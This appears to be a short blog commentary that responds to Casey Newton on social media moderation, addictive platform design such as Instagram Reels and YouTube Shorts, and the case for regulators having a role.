I find the left–right framing of the outcomes of this entirely unproductive and, frankly, dumb. Even as a broad generalization, it makes little sense: there are plenty of groups across the political spectrum arguing their speech is being suppressed. I am not arguing these individual complaints are necessarily invalid. I just think Newton’s argument is silly.

Adequate moderation is an effective tool for limiting the spread of potentially harmful posts for users of all ages. While Substack is totally cool with Nazis, that stance rarely makes for a healthy community. Better behaviour, even from pseudonymous users, is encouraged by marginalizing harmful speech and setting relatively strict boundaries for what is permissible. Moderation is difficult to do well, impossible to do right, and insufficient on its own — of course — but it is not an old, outdated way of thinking, regardless of what Mark Zuckerberg argues.

Newton:

Of course, Instagram Reels and YouTube Shorts work in similar ways. And so, whether on the stand or before the commission, I hope platform executives are called to answer: if you did want to make your products addictive, how different would they really look from the ones we have now?

This is a very good argument. All of these platforms are deliberately designed to maximize user time. They are not magic, nor are they casting some kind of spell on users, but we are increasingly aware they have risks for people of all ages. Is it so unreasonable for regulators to have a role?